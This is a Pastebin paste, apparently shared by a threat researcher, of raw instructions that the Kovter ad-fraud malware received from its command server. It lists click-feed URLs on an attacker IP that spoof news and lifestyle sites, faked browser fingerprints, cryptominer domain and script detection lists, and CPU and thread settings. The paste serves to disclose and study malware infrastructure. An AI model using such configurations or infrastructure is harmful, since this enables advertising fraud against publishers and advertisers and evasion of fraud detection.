API tools faq
paste
Advertisement
Kafeine

Kovter_AdFraudInstruction_2018-01-20

Kafeine
Jan 20th, 2018
405
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.30 KB | None | 0 0
raw download clone embed print report
  1. 52ea52992eaf5c9aa62938fa6da5d99ee3f5fa5a5562295969d5e9a56ad23f85c56a7f7dda25ba857b23ba9c9ffea3fRESP:OK|http://192.133.139.25/feedrs3/click?feed_id=11620&sub_id=0&cid=0067c768f14015010e03936103c91860-1&spoof_domain=www.detroitnews.com&land_ip=5.45.79.34|<>|http://www.detroitnews.com/|<>|4:174:99:79:93:115:108:55:116:55:83:84:58:78:94:53:52:|od_od:www.detroitnews.com:od_od|fd_fd:5.45.79.34:fd_fd||scrl_cfg:180000-12180-35:scrl_cfg|fcs_cfg:3000-1794:fcs_cfg||p_hhw:0:p_hhw|w_w_perc:5:w_w_perc|scrtype:1:scrtype|setcpu:1:setcpu|veryfast:95:veryfast|lowl_c:0:lowl_c|minms:40:minms|hst_count:3:hst_count|br_prc_ck:50:br_prc_ck|br_one_ck:1:br_one_ck||doms_spoof:coinhive.com>0||coin-hive.com>0||jsecoin.com>0||reasedoper.pw>0||mataharirama.xyz>0||listat.biz>0||lmodr.biz>0||minecrunch.co>0||minemytraffic.com>0||crypto-loot.com>0||2giga.link>0||ppoi.org>0||coinerra.com>0||coin-have.com>0||kisshentai.net>0||miner.pr0gramm.com>0||kiwifarms.net>0||anime.reactor.cc>0||joyreactor.cc>0||kissdoujin.com>0||minero.pw>0||coinnebula.com>0||afminer.com>0||coinblind.com>0||webmine.cz>0||monerominer.rocks>0||cdn.cloudcoins.co>0||coinlab.biz>0||papoto.com>0||edgeno.de>0||jyhfuqoh.info>0||ads-miner.appspot.com>0||www.hashing.win>0||analytics.blue>0||:doms_spoof||bbb_l_m:^http[^\?&]{1,128}/2/[0-9a-z]{4,8}/(analytics|utils|pagespeed|antifraud|lazyload|minimal).js||:bbb_l_m|bbb_j_m:cryptonight||CryptonightWASMWrapper||CoinHive||dmFyIE1vZHVsZT17fTtNb2R1bGVb||ozoki_tc*ozoki_os*ozoki_url*ozoki_ct||ozoki_opt*ozoki_loaded*ozoki_call||:bbb_j_m||force_use_cont_id::72::force_use_cont_id|hos_crm:10.0:hos_crm|hfont_crm:Times New Roman TUR.Times New Roman Cyr.Yu Gothic UI Light:hfont_crm|flash_p:plugins\pepflashplayer32_28_0_0_126.dll:flash_p|flash_v:28.0.0.126:flash_v|enable_ex_5:1:enable_ex_5|setua:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36:setua|scr_data:1920x1080-1920x1080-1-5-0-1.25:scr_data|spf_c_dta:8:spf_c_dta|spf_s_dt:11:2:0.01:48000:spf_s_dt|srtds:,@d:1:0,c:2:1,g:3:0,@,#d9c6a14a472185e1fe1ca90369c736ec:srtds|spf_r_dt:4.66.0:spf_r_dt|spf_cc_dt:2:spf_cc_dt|gl_dat:packeNrlkkFrwzAMhf+KDzm04xEs2XGc2wLessDWQxm7hpIEVhhtSct+/xSHkHUb7LLbMMiSbL1nPtwl5aZ6vFOr+nDp31bbtXoIqhp2p9d9e1ZhP/TtxQQi9X5ubEPqFLd1okGwyJDDwYMLFCDpEYhBBmRBGZhhNNiALVhKB0PgHOxhOPFUcDoGUEparkw5rC7cOGekcFhOnNU+ZmIuOkbfirwRd7EUp8XGJ5m05AWy4uR1SD9r3HQzgM1LHepSVf39cWh7VT2r3OgvBLJGjwRk+xMC5Iy3aYwzg6mwP0GYjiKFmP6OgbX1o4jHPP0tpldSC43yKajtruuPh/FDOEs6/DMWHz8IqHI=:gl_dat|jsshh:2190000000:jsshh|mrysf:8.0:mrysf|sltd:-19702:sltd|sbyd:0:sbyd||hook_l_mpg:1:hook_l_mpg|enable_ex_2:1:enable_ex_2|dsth:1:dsth||<>|
  2. http://192.133.139.25/feedrs3/click?feed_id=11620&sub_id=0&cid=0067c768f14015010e03936103c91860-2&spoof_domain=www.mindbodygreen.com&land_ip=173.214.244.3|<>|http://www.mindbodygreen.com/|<>|2:76:51:66:56:102:62:53:50:59:59:86:143:74:61:92:83:|od_od:www.mindbodygreen.com:od_od|fd_fd:173.214.244.3:fd_fd||scrl_cfg:1000-6637-20:scrl_cfg|fcs_cfg:30000-23030:fcs_cfg||p_hhw:100:p_hhw|w_w_perc:5:w_w_perc|scrtype:1:scrtype|setcpu:1:setcpu|veryfast:95:veryfast|lowl_c:0:lowl_c|minms:36:minms|hst_count:14:hst_count|br_prc_ck:50:br_prc_ck|br_one_ck:1:br_one_ck||doms_spoof:coinhive.com>0||coin-hive.com>0||jsecoin.com>0||reasedoper.pw>0||mataharirama.xyz>0||listat.biz>0||lmodr.biz>0||minecrunch.co>0||minemytraffic.com>0||crypto-loot.com>0||2giga.link>0||ppoi.org>0||coinerra.com>0||coin-have.com>0||kisshentai.net>0||miner.pr0gramm.com>0||kiwifarms.net>0||anime.reactor.cc>0||joyreactor.cc>0||kissdoujin.com>0||minero.pw>0||coinnebula.com>0||afminer.com>0||coinblind.com>0||webmine.cz>0||monerominer.rocks>0||cdn.cloudcoins.co>0||coinlab.biz>0||papoto.com>0||edgeno.de>0||jyhfuqoh.info>0||ads-miner.appspot.com>0||www.hashing.win>0||analytics.blue>0||:doms_spoof||bbb_l_m:^http[^\?&]{1,128}/2/[0-9a-z]{4,8}/(analytics|utils|pagespeed|antifraud|lazyload|minimal).js||:bbb_l_m|bbb_j_m:cryptonight||CryptonightWASMWrapper||CoinHive||dmFyIE1vZHVsZT17fTtNb2R1bGVb||ozoki_tc*ozoki_os*ozoki_url*ozoki_ct||ozoki_opt*ozoki_loaded*ozoki_call||:bbb_j_m||force_use_cont_id::68::force_use_cont_id|hos_crm:6.3:hos_crm|hfont_crm:Sylfaen.Mongolian Baiti.Times New Roman Greek:hfont_crm|flash_p:plugins\pepflashplayer32_28_0_0_126.dll:flash_p|flash_v:28.0.0.126:flash_v|enable_ex_5:1:enable_ex_5|setua:Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36:setua|scr_data:1366x768-1366x728-0-5-0-1.00:scr_data|spf_c_dta:7:spf_c_dta|spf_s_dt:63:2:0.01:48000:spf_s_dt|srtds:,@d:1:0,c:2:1,g:3:0,g:4:2,g:5:3,@,#694060b5a4f0e52a266a684b85fb911a:srtds|spf_r_dt:91.89.0:spf_r_dt|spf_cc_dt:2:spf_cc_dt|gl_dat:packeNrlUsFqwzAM/RUdcmjHI0iW4zi3Bbxlga2HMsZupSSBFUZb0rLvn9JSurHLzhuGZ8mW3hMP9Vm9aB7vaNZuj8P7bDmnh0TNuN6/bboDec9MaTMO3VGTCH0cVsWKaX+65hlD4FGgRECEq1BB7E0gDqIQDyngHJThFM7DWRqgAlfCRajLJGj0+QkhubAVnRM7XIWpVY0s4MtX8BzPoU1gZMq3pqE2guma3FUrZo59nEgiLt0/MP9GddNfHFm8tKmtqRnud2M3UPP8SmX5f+2onxIt1/2w204rUqrn6578CU/8bz35BJ/cryg=:gl_dat|jsshh:1136000000:jsshh|mrysf:8.0:mrysf|sltd:-63111:sltd|sbyd:0:sbyd||hook_l_mpg:1:hook_l_mpg|enable_ex_2:1:enable_ex_2|dsth:1:dsth||<>|
  3. http://192.133.139.25/feedrs3/click?feed_id=11620&sub_id=0&cid=0067c768f14015010e03936103c91860-3&spoof_domain=www.skinnymom.com&land_ip=173.214.244.3|<>|http://www.skinnymom.com/|<>|3:60:67:102:93:86:85:54:98:87:65:53:65:64:86:91:55:|od_od:www.skinnymom.com:od_od|fd_fd:173.214.244.3:fd_fd||scrl_cfg:180000-18146-66:scrl_cfg|fcs_cfg:3000-1407:fcs_cfg||p_hhw:100:p_hhw|w_w_perc:5:w_w_perc|scrtype:2:scrtype|setcpu:1:setcpu|veryfast:85:veryfast|lowl_c:0:lowl_c|minms:43:minms|hst_count:2:hst_count|br_prc_ck:50:br_prc_ck|br_one_ck:1:br_one_ck||doms_spoof:coinhive.com>0||coin-hive.com>0||jsecoin.com>0||reasedoper.pw>0||mataharirama.xyz>0||listat.biz>0||lmodr.biz>0||minecrunch.co>0||minemytraffic.com>0||crypto-loot.com>0||2giga.link>0||ppoi.org>0||coinerra.com>0||coin-have.com>0||kisshentai.net>0||miner.pr0gramm.com>0||kiwifarms.net>0||anime.reactor.cc>0||joyreactor.cc>0||kissdoujin.com>0||minero.pw>0||coinnebula.com>0||afminer.com>0||coinblind.com>0||webmine.cz>0||monerominer.rocks>0||cdn.cloudcoins.co>0||coinlab.biz>0||papoto.com>0||edgeno.de>0||jyhfuqoh.info>0||ads-miner.appspot.com>0||www.hashing.win>0||analytics.blue>0||:doms_spoof||bbb_l_m:^http[^\?&]{1,128}/2/[0-9a-z]{4,8}/(analytics|utils|pagespeed|antifraud|lazyload|minimal).js||:bbb_l_m|bbb_j_m:cryptonight||CryptonightWASMWrapper||CoinHive||dmFyIE1vZHVsZT17fTtNb2R1bGVb||ozoki_tc*ozoki_os*ozoki_url*ozoki_ct||ozoki_opt*ozoki_loaded*ozoki_call||:bbb_j_m||force_use_cont_id::71::force_use_cont_id|hos_crm:10.0:hos_crm|hfont_crm:Calibri Light.Cambria Math.Yu Gothic Light:hfont_crm|flash_p:plugins\pepflashplayer32_28_0_0_126.dll:flash_p|flash_v:28.0.0.126:flash_v|enable_ex_5:1:enable_ex_5|setua:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.30 Safari/537.36:setua|scr_data:1366x768-1366x728-0-5-0-1.00:scr_data|spf_c_dta:10:spf_c_dta|spf_s_dt:47:2:0.01:48000:spf_s_dt|srtds:d:1:0,c:2:1,g:3:0,@d:5:0,c:6:1,g:7:0,@g:4:2,#03182a0c87e7e757fba6e58ee8108e85:srtds|spf_r_dt:58.4.0:spf_r_dt|spf_cc_dt:4:spf_cc_dt|gl_dat:packeNrlkj1rwzAQhv+KBg9JeTG6kyzLWw1qXUObIUNXE2xDAyUJTujv70nBJGkLXboVwX1IuvdODxqyetU8P6hFuzuN74v1Uj0F1Uybw9u2P6qwncb+ZAKR+jh2RafVIbllpkGwKFDCwYMrVCDZIxCDDMiCCjDDaLABW7CkDobAJdjDcEbOeJsnC8pJy6VzIktXLpYaEXO4OnJW+3MoE4iY0ffSw8gI0lfaXXr5jLX1UcRjrv5m8xupu2GGsXptQ1urZnzcT/2omPQXFLajiELcn6DwVHEezQwixT9ySCcJQ4x+p1BQFIoMUuWtya81Ls+vX4Jab4Zxv4u/wRelDv/sK3wC9lynxg==:gl_dat|jsshh:1940000000:jsshh|mrysf:4.0:mrysf|sltd:3326:sltd|sbyd:0:sbyd||hook_l_mpg:1:hook_l_mpg|enable_ex_2:1:enable_ex_2|dsth:1:dsth||<>|
  4. http://192.133.139.25/feedrs3/click?feed_id=11620&sub_id=0&cid=0067c768f14015010e03936103c91860-4&spoof_domain=www.msnbc.com&land_ip=192.133.139.35|<>|http://www.msnbc.com/|<>|3:89:76:56:76:63:118:59:71:89:50:136:108:67:63:75:56:|od_od:www.msnbc.com:od_od|fd_fd:192.133.139.35:fd_fd||scrl_cfg:1000-9846-53:scrl_cfg|fcs_cfg:192691-107:fcs_cfg||p_hhw:100:p_hhw|w_w_perc:5:w_w_perc|scrtype:0:scrtype|setcpu:1:setcpu|veryfast:117:veryfast|lowl_c:0:lowl_c|minms:33:minms|hst_count:4:hst_count|br_prc_ck:50:br_prc_ck|br_one_ck:1:br_one_ck||doms_spoof:coinhive.com>0||coin-hive.com>0||jsecoin.com>0||reasedoper.pw>0||mataharirama.xyz>0||listat.biz>0||lmodr.biz>0||minecrunch.co>0||minemytraffic.com>0||crypto-loot.com>0||2giga.link>0||ppoi.org>0||coinerra.com>0||coin-have.com>0||kisshentai.net>0||miner.pr0gramm.com>0||kiwifarms.net>0||anime.reactor.cc>0||joyreactor.cc>0||kissdoujin.com>0||minero.pw>0||coinnebula.com>0||afminer.com>0||coinblind.com>0||webmine.cz>0||monerominer.rocks>0||cdn.cloudcoins.co>0||coinlab.biz>0||papoto.com>0||edgeno.de>0||jyhfuqoh.info>0||ads-miner.appspot.com>0||www.hashing.win>0||analytics.blue>0||:doms_spoof||bbb_l_m:^http[^\?&]{1,128}/2/[0-9a-z]{4,8}/(analytics|utils|pagespeed|antifraud|lazyload|minimal).js||:bbb_l_m|bbb_j_m:cryptonight||CryptonightWASMWrapper||CoinHive||dmFyIE1vZHVsZT17fTtNb2R1bGVb||ozoki_tc*ozoki_os*ozoki_url*ozoki_ct||ozoki_opt*ozoki_loaded*ozoki_call||:bbb_j_m||force_use_cont_id::75::force_use_cont_id|hos_crm:6.1:hos_crm|hfont_crm:Courier New Cyr.Franklin Gothic Medium.Franklin Gothic Medium:hfont_crm|flash_p:plugins\pepflashplayer32_28_0_0_126.dll:flash_p|flash_v:28.0.0.126:flash_v|enable_ex_5:1:enable_ex_5|setua:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.30 Safari/537.36:setua|scr_data:1920x1080-1920x1040-1-5-0-1.00:scr_data|spf_c_dta:11:spf_c_dta|spf_s_dt:70:2:0.01:48000:spf_s_dt|srtds:d:1:0,c:2:1,g:3:0,@d:4:0,c:5:1,g:6:0,g:7:2,@,#5cba7878bcde24bd8ec9a161c8bc154f:srtds|spf_r_dt:66.30.0:spf_r_dt|spf_cc_dt:8:spf_cc_dt|gl_dat:packeNrlkMFqwkAQhl9lDjmYMg07M5t1czMQTQPVQ5BeRUygAasSpbRv30liaqWHPkAvs//Mzv7/x1ZBusqf5zApDpd6PylDeMogb7en12Z3hsX2rdl/Qta09e4iWTL/gPfzRjYGTv0RBgYJY5yiR04wQdKekBhJkCxSjMwoBtkiq3YohOxROLAmcVFXkCKOHfay2xK1YdNJpmEqnCTSy2BwsrPHh2oEX70UWZFCXi+O7a6GfA2OzDcyUUccD8TxSGx7ZvcntdyDT6/s5MTbqK9KT0aXhsZegY1u6Qh/XDlr/CCVQM3EzDRDFEFzNe6W5QM21ncmHsfXv2p0Z3X7jXSZQbmt6uNhsl6GUMbA9r/9xhf16Jyi:gl_dat|jsshh:842000000:jsshh|mrysf:4.0:mrysf|sltd:-899:sltd|sbyd:0:sbyd||hook_l_mpg:1:hook_l_mpg|enable_ex_2:1:enable_ex_2|dsth:1:dsth||<>|
  5. http://192.133.139.25/feedrs3/click?feed_id=11620&sub_id=0&cid=0067c768f14015010e03936103c91860-5&spoof_domain=www.newsweek.com&land_ip=192.133.141.209|<>|http://www.newsweek.com/|<>|5:56:63:55:100:90:53:53:59:103:54:57:88:78:80:60:104:|od_od:www.newsweek.com:od_od|fd_fd:192.133.141.209:fd_fd||scrl_cfg:180000-7347-68:scrl_cfg|fcs_cfg:3000-2888:fcs_cfg||p_hhw:100:p_hhw|w_w_perc:5:w_w_perc|scrtype:2:scrtype|setcpu:1:setcpu|veryfast:119:veryfast|lowl_c:0:lowl_c|minms:47:minms|hst_count:18:hst_count|br_prc_ck:50:br_prc_ck|br_one_ck:1:br_one_ck||doms_spoof:coinhive.com>0||coin-hive.com>0||jsecoin.com>0||reasedoper.pw>0||mataharirama.xyz>0||listat.biz>0||lmodr.biz>0||minecrunch.co>0||minemytraffic.com>0||crypto-loot.com>0||2giga.link>0||ppoi.org>0||coinerra.com>0||coin-have.com>0||kisshentai.net>0||miner.pr0gramm.com>0||kiwifarms.net>0||anime.reactor.cc>0||joyreactor.cc>0||kissdoujin.com>0||minero.pw>0||coinnebula.com>0||afminer.com>0||coinblind.com>0||webmine.cz>0||monerominer.rocks>0||cdn.cloudcoins.co>0||coinlab.biz>0||papoto.com>0||edgeno.de>0||jyhfuqoh.info>0||ads-miner.appspot.com>0||www.hashing.win>0||analytics.blue>0||:doms_spoof||bbb_l_m:^http[^\?&]{1,128}/2/[0-9a-z]{4,8}/(analytics|utils|pagespeed|antifraud|lazyload|minimal).js||:bbb_l_m|bbb_j_m:cryptonight||CryptonightWASMWrapper||CoinHive||dmFyIE1vZHVsZT17fTtNb2R1bGVb||ozoki_tc*ozoki_os*ozoki_url*ozoki_ct||ozoki_opt*ozoki_loaded*ozoki_call||:bbb_j_m||force_use_cont_id::45::force_use_cont_id|hos_crm:6.1:hos_crm|hfont_crm:MS PGothic.Arial Baltic.Arial Baltic:hfont_crm|flash_p:plugins\pepflashplayer32_28_0_0_126.dll:flash_p|flash_v:28.0.0.126:flash_v|enable_ex_5:1:enable_ex_5|setua:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36:setua|scr_data:1280x1024-1280x984-0-5-0-1.00:scr_data|spf_c_dta:1:spf_c_dta|spf_s_dt:112:2:0.01:48000:spf_s_dt|srtds:d:1:0,c:2:1,g:3:0,g:4:0,@d:7:0,c:8:1,g:9:0,g:10:3,g:11:4,@g:5:2,g:6:2,#648fc4753d1122a1787ecb9c662aeadd:srtds|spf_r_dt:2.55.0:spf_r_dt|spf_cc_dt:4:spf_cc_dt|gl_dat:SwiftShader:gl_dat|jsshh:949000000:jsshh|mrysf:4.0:mrysf|sltd:-532121:sltd|sbyd:213:sbyd||hook_l_mpg:1:hook_l_mpg|enable_ex_2:1:enable_ex_2|dsth:1:dsth||<>|
  6. threads:2:threads|<>|
  7. logcpu:all:logcpu|<>|
  8. afkthr:6:afkthr|<>|
  9. hardconfig:25:85:20:hardconfig|<>|
  10. outlimit:3:outlimit|<>|
  11. nolimit:1:nolimit|<>|
  12. nsleep:10:nsleep|<>|
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!